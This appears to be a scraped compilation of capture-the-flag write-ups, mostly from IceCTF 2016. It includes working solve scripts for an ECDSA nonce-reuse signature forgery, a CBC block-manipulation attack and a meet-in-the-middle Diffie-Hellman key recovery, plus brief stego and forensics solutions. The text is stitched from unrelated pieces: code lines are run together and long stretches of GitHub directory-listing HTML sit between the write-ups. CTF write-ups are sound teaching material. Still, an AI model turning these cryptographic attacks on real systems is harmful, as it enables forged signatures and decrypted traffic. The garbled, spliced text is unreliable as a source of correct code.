help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# Blocky Writeup
We are provided with [blocky.py](https://github.com/bobacadodl/ctfx-problems/blob/master/crypto/blocky-200/blocky.py) and the encrypted flag.
Upon examination of the code, this is a block cipher with a block size of 5.
We know that flag starts with 'ctf(', so we can generate 256 possibilities for the Initialization Vector.
We then reverse the encryption algorithm in z3, and try decrypting the 2nd block with all the IV possibilties. Only 1 results in a seemingly legitimate ascii printable decryption, so we know the correct IVThen simply decrypt each block with that initialization vector
See [blocky_sol.py](https://github.com/bobacadodl/ctfx-problems/blob/master/crypto/blocky-200/blocky_sol.py) for code |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ctf-x/ctfx-problems-2016/tree-commit/b71497b6b3eccbf0b8bebd37918f0f2e8afa1fb4/misc/message-100" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>message.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>banker<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>banker<span>/</span></div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>banker_ori</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>banker_p</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
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|
Irc1 - Misc - 35 points
There is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667
Just connet to the irc-server/list all channels on the server.
Join the "flagshare channel"
Topic includes the flag.
IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}. |
# IceCTF'2016#### Vape Nation#### Stego / 50pts
## DescriptionGo Green! [vape_nation.png](https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png)
## Solution
Fail: pngcheck, stegsolve, steganar, brightness/contrast,
Succes: [Stegpy](https://github.com/Baldanos/Stegpy)```bashsudo ./stegpy -V vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png```Choose *Reversed color view*
## Flag**IceCTF{420_CuR35_c4NCEr}** |
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dockerfile</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>guesslength.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>guesslength_for_server.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solution.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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# IceCTF'2016#### Audio Problems#### Forensics / 50pts
## DescriptionWe intercepted [this audio signal](https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav), it sounds like there could be something hidden in it. Can you take a look and see if you can find anything?
## Solution
Succes: [Sox](http://sox.sourceforge.net/)```bashsudo sox audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav -n spectrogram -z 130 -Z -20 -x 1000```You will get spectogram.png file with FLAG
## Flag**IceCTF{y0U_b3t7Er_l15Ten_cL053lY}** |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-notes</span></span></span><span>/</span>2016-ctfx<span>/</span> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Binary-100-guesslength.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-1-EBG13.py</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-50-λ.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-100-password.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-50-Crash.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>misc-files</span> </div>
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<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span><span>web-files/</span>HarambeHub</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Binary-100-guesslength.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-1-EBG13.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cryptography-50-λ.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-100-password.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forensics-50-Crash.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
